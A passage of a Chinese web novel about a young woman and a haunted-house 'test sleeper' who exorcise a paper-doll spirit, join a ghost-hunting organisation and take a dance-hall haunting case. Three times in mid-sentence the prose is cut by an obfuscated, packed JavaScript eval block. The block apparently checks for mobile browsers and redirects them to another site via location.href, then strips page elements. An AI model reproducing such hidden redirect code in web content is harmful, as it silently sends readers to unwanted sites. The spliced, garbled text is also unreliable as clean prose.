神奇的是,名片被陆南从火里带出来,居然一点烧痕都没有,上面的字还是手写的:“吴关道人:7428467813” 徐歌一直想着行李里还有什么重要的东西,在看到名片的时候想起就是这个,可是她为什么直到现在才记起来?就像是被人故意设计的一样。 徐歌把这个想法从脑子里择了出去,对陆南道:“这个名片是街上一个算命的给我的,他说我最近干什么都会不顺,说是什么,‘诸事禁行’,让我打这张名片上的电话,说是能帮我破灾。” 陆南听到后嗤笑了一声,他把名片夹在指尖,像点燃符咒一样把名片烧成了灰。 “怎么了?你认识这个吴关?”徐歌问道。 “认识,他是我的同事,”陆南仍笑着,只是眼底藏有愠色,“我大概也知道是谁给你写的那封信了。” 是吴关牵了这样一条因果线,他到底想干什么?有什么事情还需要徐歌参与进来? 既然如此,躲也是没用了。 “我先带你回402吧,路上正好给你讲讲我的工作。”陆南微微笑道。 “好!” 由于徐歌还没有开发灵力,疾走符这种符咒她一时半会儿也用不了,两人步行回到402时,已经半夜十一点多了。 徐歌在路上大体了解了陆南凶宅试睡的工作——驱逐怨魂,说到底这种工作跟刀尖舔血没区别,这就是陆南来恒盛找到的“机遇”吗? 推门进去,402的灯光昏暗,里面的家具摆放很简单,返潮变软的木桌,几个瘸腿的木凳,还有一张木板床。能看出来这里被陆南简单地打扫过。 402里的温度明显比楼道低,陆南说有怨魂出没的地方就会有这股阴气,成功驱逐以后,这里的温度就会恢复正常。 “我们驱逐怨魂,以劝为主,劝不动了才会动手。”陆南一边说着一边打开了桌子上的包袱,徐歌跟着看过去,只见里面装着香,打火机,纸钱,符咒和牌子之类的东西,甚至还有一身衣服和几个馒头。 “原来可以和它们交流吗?” “其实是不行的,我能力还不够,做不到和它们双向交流,我能单方面和它说话,但我听不懂它对我说什么,只能通过它们行为上来做出判断。” 所以还是很容易谈崩的,陆南经常劝着劝着就会和它们打起来,最后只能暴力驱逐。 陆南又从包里拿出一个小碗,点燃了一张符咒后把烧剩下的灰放到里面,用温水倒进碗里冲开,做完后递给徐歌,道:“这是用药符冲泡的水,你从灵车上死里逃生,这水能防止你落下什么后遗症。” 徐歌捧过碗,听话地喝了下去,她砸吧砸吧嘴,虽然里面有烧剩下的灰,但喝起来居然没有焦味儿,反而有一股清冽的感觉。 陆南用打火机点燃了一根香烟,接着补充道:“成为怨魂后,就会被怨气所操控,只剩下本能,绝大部分怨魂都会做出危害他人的行为,所以必须驱逐。” 话音刚落,徐歌看见上面飘出来的烟雾有些不同,她凑近一看,烟雾居然成了两张人脸的形状! 其中一张脸能隐约看出是个男人的,而另一张则模模糊糊地看不真切。 “这是……什么意思?”徐歌看着陆南沉下来的表情,判断出这绝对不是什么好征兆,她的心跳不自觉地加速。 陆南抬头看向徐歌,道:“意思是这间房子里,不只有房主的怨魂,还有一个东西。” 原本在402的纸人,的的确确是跟着徐歌出了门,陆南在烧它们的时候,在心里对过数量,和他在屋子里数的数量是一样的。 可若是一开始在房子里就藏着一个呢? 那个从始至终都藏这里的,没有被任何人见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584097|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的纸人。 就在这时,熟悉的敲击声突然响起。 咚—— 咚咚—— 咚—— 就像是在演奏某一首歌谣。 就在陆南循声找过去的时候,敲击声又突然消失了,就像是被掐断了一样。 “我和你一起找。”徐歌说着就要去其他房间。 “不行,你现在没有灵力,独自行动很危险,”陆南叫住徐歌,“我们一起行动。” 其实整个402都比较空旷,用眼睛扫去就能找个七七八八,通常来说如果藏着东西,应该是很快就能被找到。 但是他们从客厅找到卧室,又从卧室找到厨房,徐歌连厨房里的锅子都掀开盖儿瞧了瞧,愣是没有找到一点痕迹。 陆南站在卧室门口,回忆着是否有什么地方被遗漏了。 若是寻鬼,其实还有一种方法,就是用法术在这里从上到下打个底朝天,把它打到无所遁形,但这是最次的方法,有损阴德。 徐歌站在陆南旁边,不停地用目光搜索着周围,她不觉得那些东西可以在晚上一点痕迹都没有地一直藏下去。突然,她的余光瞥见一抹白色的东西从镜子里闪过,那种白不同于日常见过的白,是那种极致的白,徐歌从没见过那么白的东西。 敲击声突然又响了起来,而且就在陆南身后的卧室! 陆南猛地转身,发现一个人影正跪在卧室的墙角,麻木地,一下一下地用头去撞墙。 咚——咚咚—— 察觉到二人的视线,那人影缓缓转过头来,空洞煞白的脸上没有任何表情。 徐歌的心里开始发毛,原来刚刚镜子里闪过的,是这东西的脸! 陆南拿出符咒与桃木剑,警惕地看着怨魂,但后者只是伸出胳膊,用手直直地指向那个木床。 难道说? 陆南大步走到床边,用桃木剑把床板翘了起来。一眼看去,里面正仰面躺着一个红衣蓝裤的纸人,直勾勾地盯着他! 没等纸人做出反应,陆南就一刀插穿了它的脑袋,把它钉在了床里面。 纸人一边发出凄厉的尖叫一边用身体疯狂撞击着木床,原本粗糙的木床被撞得近乎散架。墙边那个怨魂似乎在害怕什么一般,一个劲儿地往墙角靠。 陆南用另一只手在空中绘出一道符文,将它拍在纸人身上,火焰蓦然从符文中迸射出来,把纸人连同它的尖叫一并吞没,神奇的是,纸人身下的木床一点也没有被点燃。 徐歌虽说是门外汉,却也听说过强大的术士无纸凭空画符的故事,没想到能在陆南手下亲眼见到。 纸人消失后,房间里的温度明显地回升了,徐歌看了看墙角的怨魂,心里有了一个猜想——或许房主本身的怨念并不重,只是被纸人囚禁在了这里无法脱身。 陆南将钉在床里的桃木剑抽了回来递给了徐歌。桃木剑的刀刃一点也算不上锋利,也就是说陆南是靠蛮力硬生生把它插进去的。 陆南低念咒语,在空中重绘一道符文,转身拍到了还在瑟瑟发抖的怨魂身上。 5. 纸人宅 5 陆南对着半透明的怨魂说了一句:“跟我来吧。”那怨魂居然真的听话地慢慢从墙角飘了出来。即便如此,两人还是警惕着,毕竟无法完全确定它已经无害。 怨魂沉默地跟着两人来到客厅,陆南在地上摆上火盆,在里面点燃了纸钱和衣服,又摆出来几个馒头,低声对它说道: “家里的纸人已经被我处理了,它们不会再纠缠你了。 今天把路费,衣服和食物都给你送上,你吃饱穿暖了,拿了路费去更好的地方吧。” 陆南说完后,那怨魂悠悠地飘到了火盆附近,随着火焰晃动了几下后,逐渐淡去了。 阴冷的感觉彻底的消失了。 看来,那房主的怨魂的确是因为纸人的纠缠而无法离去,它用头去撞击墙壁,应该也是为了引起别人的注意,但恰恰是因为这个敲击声,才吓跑了402的邻居。 事情终于解决了,陆南松了口气的同时,感到了一阵疲惫,他一边收拾东西一边对徐歌说道:“今晚上先在这里凑合一晚吧,明天带你去组织总部看看。” “你们还有总部呢?”徐歌从厨房找来了一把秃了毛的扫帚,帮着陆南清扫着地上烧剩下的灰。 陆南笑道:“对呀,而且是个体系很完整的组织呢,里面不仅有我这样的凶宅试睡员,还有赶尸人,情报部和后勤部。” “感觉还怪正规的,”徐歌到各个房间里转了一圈儿,“话说回来,这里怎么只有一张床?房主不是一家三口都住在这里吗?” “可能是怕睹物思人吧,这里也只有房主一个人的生活用品。” “这样啊……我还有一个不怎么重要的问题,”徐歌问道,“这个怨魂用头去撞墙的声音很有节奏,而且我听起来很耳熟,是一首什么歌吗?” 陆南一边轻哼着那个节奏一边回想,过了一会儿,他似乎是想起了什么,说道:“你觉得像不像我们小时候被吓到之后,大人给唱的叫魂歌?” “……徐歌快回家,逢山过山逢水过水,土地公公带徐歌回家啦,拍拍胸口拉拉小耳朵,徐歌快回家啦。”徐歌一边回忆一边哼唱。 这是农村经典的叫魂曲,陆南生来眼睛便通阴阳,经常猝不及防地就被常人看不见的怨魂邪祟吓到。每当这时家里人就会哼唱这首歌,摸摸土地再摸摸他,让土地公公把吓掉的魂儿给叫回来。 徐歌叹了口气:“……或许402房主生前也经常给他的孩子唱吧。” 灯光昏暗,地上的灰很难打扫干净,陆南找来仅剩的几个木凳拼在一起,对徐歌说道:“你快去床上休息吧,我在这里凑合一晚。” “你这么高的个子怎么可能在这凳子上能睡好,”徐歌摆了摆手,“换我的吧,我睡这里正好。” ……而且,那张床底下刚刚还插死一只纸人,徐歌就算睡上去也会脊背生寒。 俩人沉默地对峙了一会儿,陆南一如既往地妥协了:“那这个被子你拿着铺上,是我自己带来的,睡起来舒服点。” “好,”徐歌没再拒绝陆南的好意,接过被子铺在了凳子上。她满意地看着自己的劳动成果——看起来还真有一个小床的样子。 互道晚安后,两人各自睡下。 房间里有微光,那是从窗户的毛玻璃渗进来的幽冷月色,这微弱的光芒只隐隐约约地照亮了家具的形状。 徐歌迟迟没有睡意,就这样躺着不知过了多久,她轻轻地叫了一声:“陆南。” “嗯?” 很清亮的声音,看来他也没睡着。 客厅与卧室的承重墙将二人隔开,双方默契地没有将对话再进行下去。陆南在想什么呢?徐歌躺在凳子上想着,看着月亮一寸一寸地移动,过了很久才沉沉睡去。 …… 第二天,陆南将402的门锁上,把钥匙还给物业后,骑自行车载着徐歌离开了万翠公馆。 自行车载着徐歌驶入闹市区,和太平村的露天大集一点也不一样,徐歌第一次见到这么多新奇的店铺,恨不得把它们都装进眼睛里。打扮体面的人在店门口进进出出,手里还提着专门的手提袋,买的东西看起来就不便宜。他们挑选衣服,挑选生活用品,挑选接下去的生活。 自行车向右拐进一个较为冷清的巷子,最终停在一个独特的店门前。那店门是红木做的,两侧还写着“仕宦行台,安寓客商”的标语,只不过这个店连个名牌都没有,和其他大敞着店门迎客的店铺比起来显得十分特殊。 徐歌想起书上写的“大隐隐于市”,应该就是指的这个。 推门进去,里面更是精彩。 最先映入眼帘的是一双翘在门口的脚,徐歌顺着腿看过去,发现是是一个男人四仰八叉地躺在沙发上,脸上盖着一本书呼呼大睡。 他的旁边是一张桌子,桌子上摆着一个插满烟头的烟灰缸,一个扎低马尾的清瘦女性正守着那个烟灰缸,嘴里一边吐出烟一边将烟头摁在里面。 在注意到陆南和徐歌后,那女性无精打采地朝他们点了点头,而后把头转向窗户不知道在看什么。 还有个在远处好像在埋头整理资料的,屋里烟雾缭绕的徐歌也没看清他的脸。 全体员工应该不只这几个人,陆南说有那么几个员工连自己甚至都没见过几面。 唯一一个和他们搭话的是一个染着紫色头发,扎着丸子头,画着浓浓的黑色眼影,身上戴着七零八碎流行饰品的女孩。 “恭喜南哥平安归来!”女孩蹦蹦哒哒地过来,看了看徐歌又道:“你好哇,你是新人吗?” “我带她来找吴关。”陆南一边说着一边走过去一把掀开了睡觉男人脸上的书 “干嘛这么粗暴?”男人悠悠转醒。 这个男人穿了一身黑色风衣,一头黑发被随意地抓了几把,他的五官立体,脖子上还挂着潮流的金属牌,整个人看起来有种不修边幅的英俊。 此时女孩转头对那个抽烟的女人抱怨道,“方姐,不要抽这么多烟啦,吴关前辈还在这里睡觉呢!” 女人抬了抬眼皮:“呛死他一个算为民除害。”她虽然面上一副爱答不理的样子,但手下还是默默把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584098|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烟捻灭了。 “不说点什么?”陆南对吴关挑了下眉,语气不善。 吴关瞥了一眼徐歌,只是这短短的一瞥就让徐歌感到里面有复杂的,难以解读的情绪。 “遇上活纸人了?那玩意儿挺凶吧?不愧是陆南,处理的倒挺快。”吴关转头对陆南道,“你还把花钱给她了?她连灵窍都没开,戴在身上时管用时不管用,拿这个不是浪费吗?” 陆南吸了口气,像是在稳住自己的耐心:“……你别转移话题。” 吴关没有在意陆南的话,转而对徐歌说道:“你好啊小妹,我叫吴关,来找我是有什么事情吗?” 徐歌:“昨天有个算命的跟我说,我的运势非常不好,诸事禁行,他介绍我过来找你要化解的法子。” “改命这种事,我一介凡人可做不到,”吴关笑道,“不过嘛……办法倒是有一个。” “什么办法?” “我们是专门处理这些东西的,加入我们,说不定能找到改命的契机哦。” “你当年也是这样把我忽悠过来的吧,这里缺人手也别见人就招进来迫害,”陆南在一旁皱着眉开口道,“我更想知道徐歌的运势为什么会突然差到诸事禁行。” 吴关重新把目光投向徐歌,但这应该被称作注视吗?他的眼神并没有聚焦,与其说盯着自己看,徐歌感觉他更像是在看自己身后的因果命运。 “因为她被改运了。” 听到这句话,陆南攥着的指尖无意识地嵌入了肉里:“什么时候?” “我可看不出来,我又不是神仙,”吴关叉了叉腰,“可能倒霉撞上什么东西了吧——凶祸不断,诸事禁行,避凶之法,莫过于迎凶化凶,而在这里,就是最好的迎凶之法。” ……整天和那些东西打交道,一不留神就可能把命搭进去,的的确确是迎凶。 徐歌回头看了看陆南,后者的眼神难得出现了纠结与犹豫的情绪,他不想让徐歌也进入这个危险的组织,但如果做不到迎凶,又会因此而死——灵车事件就是很好的例子。 徐歌知道,无论躲还是逃,都会被因果所吞没,唯一的办法,就是迎面应对。与其一无所知地被那些东西搞死,徐歌还是更乐意在被它们搞死之前先去搞搞它们。 “我加入。”徐歌做出了决定,她并不觉得悲观,倒反过来安慰陆南:“都这样了,哭也是一辈子,笑也是一辈子,既然如此,那就快快乐乐地活到死吧。” “接受的挺快嘛,能说不愧是——”吴关没有说出后半句,进而笑道,“那,入职考核就安排在这几天吧。” 徐歌问道:“考核的内容是什么?” “到时候会具体安排啦。”吴关伸了个懒腰,然后示意陆南跟自己出去一趟。 陆南叹了口气,而后对一旁的紫发女生道:“麻烦碧稞青先带她熟悉一下这里,我去去就回。” “没问题!”碧稞青跑过来自来熟地挽住了徐歌的胳膊。 “我过一会儿就来接你。”陆南对徐歌点了点头,跟在吴关身后出了门。 6. 纸人宅 6 “诶,你跟南哥是什么关系呀?”碧稞青晃了晃徐歌的胳膊。 徐歌如实回答道:“陆南是我妈从外面带回来的孩子。” “哦~这样呀,”碧稞青像是对这个回答没有概念,听后只是烂漫地笑道,“我是后勤部的,你可以叫我碧稞青,也可以叫我黑蔷薇少女~生病受伤了都可以来找我哦!” “好的碧稞青。”徐歌想都没想就选定了第一个称呼。 这时抽烟的女人往这边看了一眼,还是一副无精打采的样子:“后勤部,方冉双。” 这个叫方冉双的女人在说完这六个字之后就开始望着窗外出起了神,徐歌没再说话打扰她。 碧稞青挽着徐歌往里面走,这个地方的面积不小,里面的家具摆放也像这里的员工一样五花八门:沙发上会出现马扎,墙上同时挂着黑板和啤酒瓶子,地毯被当成桌布胡乱铺在上桌子上。 简直和草台班子一样,这个组织真的靠谱吗? “我想问一下,我如果顺利加入进来,后面会做什么工作呢?”徐歌问道,听他们的介绍,这里似乎有好几个部门。 “你会先接受一段时间的培训,然后根据你的能力评估分配具体的部门哦,”碧稞青用手指点了点带婴儿肥的脸颊,回忆道,“比如像南哥这种,灵力很强的就会被分配到‘凶宅试睡员’,方姐这种对尸体很有研究的就会被分配到‘后勤部’。” 尸体和医疗有什么关系,难道是法医? “哼,你以为这是什么地方,当年我们都有笔试面试复试。要不是今年缺人,你哪能这么容易进来。”一个长着很深的川字纹的男人从旁边走过来插了一嘴。 “你好,我叫徐歌。”徐歌规规矩矩地向他介绍了自己。 “情报部,梁必先。”那个男人眼睛很小,个子不高,而且习惯性地皱眉,整个人看起来都不够舒展。 “诶,徐歌,你是人吗?”梁必先突然开口问道。 徐歌:……? 有那么一瞬间,她怀疑自己耳朵和脑子至少有一个出了毛病。 这什么地方?这到底什么地方? “这里还有不是人的东西?” 梁必先扯了扯嘴角:“我就是问问,确认一下你是不是那些半人半鬼的东西……” 他微不可见地瞥了碧稞青一眼,后者有些生气地辩解道:“你说什么呢,我就是碧稞青!” 梁必先冷笑了一声:“谁知道现在在这里站着的,究竟是原来的碧稞青,还是已经夺舍成功的土太岁?” 土太岁?夺舍?徐歌听到了不得了的东西。 常言道“太岁头上动土”,民间对此有不少记载,比如挖出土太岁的家里都会发生灾祸,也不可以朝着太岁在的方向泼脏水等等。太岁的故事徐歌可以说从小听到大,没想到在这里见到真的了。 徐歌不禁看了碧稞青一眼,她攥着拳头红着眼眶,完完全全就是一个被误解的小姑娘——如果她真的是土太岁夺舍,这模仿的也太生动了,甚至生动到了诡异的地步。 眼见得他们之间有些剑拔弩张,徐歌心想看他们起冲突肯定对自己没好处,于是赶紧拉着碧稞青往外走:“我可想知道咱们这里的薪资待遇了,你给我讲讲呗!” 碧稞青吸了吸鼻子,和徐歌往门口走,乖乖地回答问题:“这里都是……看你接多少活儿,一般越危险的活儿委托人给的越多,几千几万块是经常的事。” “挣这么多?!”徐歌有些震惊,但随即就明白过来,毕竟这是拿命在换钱啊。 “而且会有专门的员工宿舍,刚刚南哥出去应该就是去领宿舍钥匙了……” “我天,还有宿舍?这待遇这么好!”徐歌感觉自己发自内心想在这里干活了,之前家里揭不开锅的时候,她就跟着来城里找活,那种体力活都是一天几十块钱的工钱,甚至蹲在路边蹲一天可能都被挑不上。 就在徐歌盘算着怎么安排将来可能的丰厚报酬时,陆南开门进来,递给了徐歌一块新手机。 “这是给你配的员工手机,如果有什么事情就用这个联系。” 徐歌感觉自己已经爱上了这个工作。 她双手接过手机,仔细放在手机端详着。要知道,原本她家里只有一个破破烂烂的座机,由于话费很贵,和外面联系都是靠写信的。如今没花钱就得了这样一块移动按键手机,徐歌别提多么兴奋了。 “快快!我给你下载一个长声!”碧稞青仿佛忘却了刚刚的不愉快,她拿过徐歌的手机,三下五除二地就在桌面整出来一个绿色的图标。 徐歌有些不明所以:“长声是什么?” 陆南凑过来解释道:“长生店是网络上最大的社交地,我们很多的委托都是从这上面接取的,平时也可以在上面刷到一些见闻,不管多远的大小事都可以在上面见到。” “你想叫什么网名呀?”碧稞青问道。 没等徐歌发问,陆南继续在一旁耐心解释道:“网名就是你在长声上用的虚构的名字,你可以用你喜欢的东西做名字。” 徐歌当机立断回答道:“那我喜欢钱。” 碧稞青低头飞快地按着按键,过了一会儿她把手机还给了徐歌:“好啦,我帮你关注我和南哥了,以后有事我们可以私信联系!” 私信是写信吗?可能是私下里给他发消息的意思吧。徐歌这样想着接过了手机,最先映入眼帘的是一捆钞票的照片,照片下面写着“用户名:【八方来财】;关注2;粉丝0”,右侧则是各种不同的文章:“求助,哪里有靠谱的修水管店?”“鑫元首饰店被偷”…… “厉害……居然什么都可以看到。”徐歌忍不住惊叹道。 “你的网名叫什么啊?”徐歌转头去问陆南。 “啊,我的网名,”陆南还是第一次在外面讲自己的网名,“是【文鸟】,我回去关注你。” “来客人喽——你们堵着门口干嘛?”吴关的声音从旁边传来,他身后跟着一个身影娇小女生,应该就是委托人。 即便是戴着口罩和鸭舌帽,女生的黄色卷发依旧十分惹眼。她进门取下口罩,在看清她的脸的瞬间,徐歌和碧稞青不约而同地低声感叹了一句:“好漂亮……” 那个女生的眼睛很大,唇上长着一枚小痣,再加上娇小的身材和一头细软的黄色卷发,整个人散发着一股清醇又艳丽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584099|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的独特气质。 “你难道是……席兰?”梁必先不知道从什么地方冒了出来,情绪有些激动地指着女生问道。 徐歌悄悄扯了扯陆南的袖子:“席兰又是什么?” 陆南凑到徐歌耳边悄声回答道:“也是个网名,是很有名的一个舞女,在长声上经营自己的账号。” “这样啊,难怪那么漂亮。” 碧稞青忿忿地提了一嘴刚才还在找她茬的某人:“她还是梁必先的偶像呢。” 女生轻轻地瞥了梁必先一眼,而后对着众人莞尔一笑,她的语调有着娇俏的尾音:“你们好~我叫孟寻真,这次来是想请人解决我们舞厅的事。” “请坐,慢慢说。”此时梁必先坐到了方冉双原本的位置,他双手拿着本子一本正经地邀请孟寻真坐到对面的沙发上,桌子上的烟灰缸也不知道什么时候被他收拾掉了。 “你们先忙,我去找方姐。”碧稞青白了梁必先一眼,转身离开。 “那这个委托就当做你的考核吧。”吴关靠在门框上指着徐歌笑道。 孟寻真听到这句话后,微不可见地在一旁打量着徐歌,似乎是在悄悄判断徐歌的实力。 陆南显得有些无语:“还不知道是什么内容,你就随便安排?” 吴关一副无所谓的样子作势要走:“你跟着保证她的安全就是了——多了的不准插手哦。” 孟寻真又将目光移向了陆南,不知道在思考什么。 “你要去哪儿?” “处理你的烂摊子啊,那几个目睹你用疾走符在天上跳的那几个人,总不能放着不管了吧。”吴关扔下这句话就从门口消失了。 “你是说,舞厅里夜间会出现奇怪的人影,灯球也会发出不正常的红光对吗?”梁必先总结了一下孟寻真讲述的东西。 “是的,而且就在上次,舞厅的音响不知怎么回事突然自己放起了丧乐,怎么关也关不掉,吓跑了不少客人。”孟寻真有些苦恼地颦起眉毛,整个人看起来更加楚楚动人。 陆南看到孟寻真的头顶已经隐约地长出来一截黑发,可能是因为频繁烫染,她的发质看起来比一般人要细软。 梁必先翻看着手中的资料,有点为难地对孟寻真说道:“在你之前还有两个委托,你可能得等下周才能排到号了……” 徐歌暗暗松了口气,如果真要她这周去弄这个委托,她什么也不会,非搞砸了不可。虽说下周去干,时间也很紧迫,但起码可以做一些准备。 “没关系,”孟寻真笑道,“我正好利用这周的时间回家看看,调整一下心情。” 梁必先啪的一声合上了本子:“好!那我们现在先去踩个点,熟悉一下舞厅的布局。” “好~”孟寻真突然侧头看向一旁的陆南,拿出手机对他笑道,“如果我遇上什么危险,可以私信你吗?” “当然。”陆南回答。 不知道出于什么原因,孟寻真拿出手机只添加了陆南一个人的联系方式,把梁必先晾在了一边。 原来长声这么普及啊。徐歌正想着,却与一旁咬牙切齿的梁必先目光撞个正着。她强忍笑意,默默将视线转向了天花板。 7. 庙老爷 1 梁必先引着孟寻真走在前面,陆南和徐歌后脚跟着出了门。 “你是怎么来的?”梁必先殷勤地问道。 孟寻真将碎发别在耳后:“我坐公交车来的。” “噢!那你正好坐我的车。”梁必先瞥了一眼陆南,然后从兜里掏出车钥匙,夸张地摁了一下。 “滴滴——”不远处传来了汽车解锁的声音。 徐歌顺着看过去,要知道买一辆车的费用是很高的,在太平村只有村长家有一辆年岁很大的面包车,她还没怎么近距离见过这种私家车。 “你想过来一起吗?”梁必先自得地看向徐歌。 陆南对此有些诧异,毕竟孟寻算真是远近闻名的舞女,连他这个不怎么翻看娱乐帖子的用户都听说过她,这样一个人应该是不会缺钱的,但作为公众人物,却选择了公交车这种私密性差的交通工具。 陆南也见徐歌目不转睛地盯着那辆车,低声宽慰道:“你也去坐吧,跟着他们先到那里说不定能多调查到一些情报。” 徐歌耸了耸肩收回了视线:“我就不了,这么热的天,车里一定很闷,我就是没怎么见过私家车觉得新鲜,我还是喜欢自行车骑起来风嗖嗖刮在脸上的感觉。” 说完后,徐歌就主动地把自行车推了过来,示意陆南赶紧上路。 其实在闹市区,开车的速度远比不上自行车,陆南带着徐歌慢悠悠地跟在梁必先的车后,遇上拥堵的路段甚至还要停下来等他们。 不过梁必先在车上应该也很享受和偶像独处的时光,所以一向刻薄不饶人的他面对两旁嘈扰的集市,一次也没摁过喇叭。 闹市区人声嘈杂,徐歌从后座上站起来,以便获得更好的视野去看那些有趣的店铺。 而陆南在感觉到徐歌的兴趣后,就会停在店铺前和徐歌简单地进去逛逛,然后坚持掏钱给徐歌买点东西。 陆南没买车的原因很简单,就是没钱。虽然他收入高,但绝大多数都被他用来置办法器了,一枚好的铜钱就能要到成千上万的价格,剩下的钱再汇向家里,自己根本剩不下几块钱,更别说去买车买房了。 好在他对生活质量的要求很低,一日三餐甚至都吃的不规律,自己只要干干净净的整洁一点,怎么过日子都是过。 把买的东西放到车筐里,前方的道路依旧很拥堵,梁必先的车在那里龟速前进,一时半会儿还是走不动。 “诶——!常言道,人过留名,雁过留声,人过不留名不知张三李四,雁过不留声不知春夏秋冬,今儿个我黄冲主要是传个好名声,不赚你们一分钱!” 旁边的一个的摊位发出洪亮的吆喝声,紧接着是一阵铜锣喧闹的敲打声,马上吸引了徐歌的注意。 声音的来源是一个戏台,上面站着一个光膀子大汉,他的身上贴着两块膏药,在台上耍着花枪。 不过他耍枪的手法很没有章法,而且整个人有些浮肿,啤酒肚也微微凸出来一条曲线。 徐歌一眼就看出,这是挂门的演出,而且,台上的人是腥本事行的。 腥本事翻译过来就是假把式,他们主要靠骗术去博眼球挣钱,而徐歌出身的挂门,是正儿八经的尖本事行,实打实的会拳脚功夫。 尤其是在挂门,之前尖本事行的人都是不屑于在街上表演的,他们通常做镖师或者去保家护院。之前水陆交通都不便利,运送货物离不开镖师,不过现代有了铁路货车,对这些需求都少了,挂门也不可避免地没落下去。 不过她并不觉得腥本事是一个坏事,现在挣钱难,同样是谋生的手段,只要不做害人的事,让观众看开心了,自己也能捞俩钱儿,两全其美。 陆南见此把自行车停在戏台子附近,和徐歌去凑了个热闹。 只见那壮汉把枪一插,从台子上拿起一个弹弓和一个茶壶,茶壶嘴上放着一个铜钱,铜钱上又有一个泥球。 他把茶壶放在几米开外,又把一个茶碗倒扣过来,那碗底也放了一个泥球。 他用手指着茶壶和茶碗说道:“今天我这手功夫,是先用弹弓去打这个茶碗上的球,不打碎茶碗,这飞起来的球儿,能把茶壶嘴上的球儿再打掉,而且茶壶嘴不碎,茶壶嘴上的大铜子儿还不能打下来!” 这个叫黄冲的壮汉没有立即开始表演,而是在戏台上边转边吆喝起来,目的是吸引更多的观众: “诸位如果看得尽兴了,有钱就捧个钱场,没钱也没关系,只要回去有人问‘谁打的弹弓最好?’,您回答‘恒盛的黄冲!’就成! 我们这一行的,就是靠一个名声吃饭,这名声呐,可比金银重要呀!” 直到台下的观众开始怀疑这个人是不是根本就不会拉弹弓时,黄冲拿捏着他们仅剩的耐心,马上拉紧了弹弓:“光是我自己说好不算,卖瓜的不说瓜苦,卖酒的不说酒薄。众位如果不信,咱们当面试验!” 啪——! 泥球成功被打飞了,而且茶壶的嘴的的确确是完好的。 台下陆陆续续响起了掌声,有几枚硬币被抛上了台子,见大部分人都没有赏钱,他也不恼,只是在台上活动起了肩膀。 “俺们这行练久了,难免岔气,拉伤,腰酸背痛,我啊,是多亏了我贴着的这两贴膏药!” 此时有不少人往他贴的膏药上看去,“要说这膏药的神力,就是那药仙儿来了也不得不服气!”黄冲拿出几贴膏药,用火柴划了火烤开给他们看,膏药里乌漆嘛黑看起来也和一般的也没什么区别。 黄冲却突然将茶碗啪地打碎,捡起一块碎片包在了膏药里:“这瓷片啊,就好比我们身体顽固的病灶,诸位且看这贴膏药——!” 他又把膏药撕开,只见那瓷片化成了白色粉末在那膏药里。黄冲举着膏药绕着台子展示给观众,不少人都叹服着掏钱买了他的膏药。 其实这是一种叫“海螵蛸”的药粉,和瓷粉非常相似,黄冲只是提前用药粉替换了这个瓷片,借此吹嘘膏药的功效。 不过那膏药五毛钱一片也不贵,虽说没有那神通,却也有普通膏药活血化瘀的功效,所以这种骗术也一直半真半假地流传到现在。 一场下来,黄冲挣了得有个七八块的样子,已经是收益颇丰了。 此时前方的人流散开,梁必先的车也终于走得动了,两人也骑上自行车跟了上去。 跟车走了一段距离,他们就看到了此行的目的地。 焦点舞厅的招牌十分高大惹眼,此时舞厅已经因为灵异事件暂时歇业了,据孟寻真说,老板为此急得团团转。毕竟这种事越是无法尽快解决,以后对舞厅的声誉影响就越大。 待梁必先找地方停好车,陆南和徐歌已经在舞厅门口等着了。舞厅四五米高的大门也同样气派,即使是歇业状态,气势上也压周围的店一头。 孟寻真将钥匙插进大门的锁孔,手腕灵巧一扭,看似沉重的舞厅门就被打开了。 因为白天会削弱怨魂的能力,它们通常不会在白天出现,所以白天提前来踩点是很有必要的。 走进舞厅,一楼是个宽阔而空旷的空间,孟寻真说他们跳舞主要就是在一楼。与此同时,吊顶上的巨大灯球十分惹眼。陆南在灯球下停下来,问孟寻真:“你能具体描述一下这个灯球当时是怎么出现异常的吗?” 孟寻真道:“这个灯球主要是用来在跳舞时渲染气氛,所以它一般发出的光都是彩色的。起先,一切都很正常,在一阵奇怪的咯吱声后,它突然开始疯狂地闪烁,发出的光也变成了纯红色。” “红光出现的时候,你有什么感觉?” 孟寻真仔细回想:“……只记得当时屋子里所有的东西都变成了大红色,然后心里就开始没来由地害怕,非常害怕,但我也不知道当时到底在害怕什么。” 梁必先抢着问道:“舞厅里有没有发生过命案?” “这个我就不清楚了,我是后面才来的焦点舞厅,”孟寻真回答道,“不过,我们老板是个很注重风水的人,如果发生过这种事情,舞厅应该早就搬迁了。” 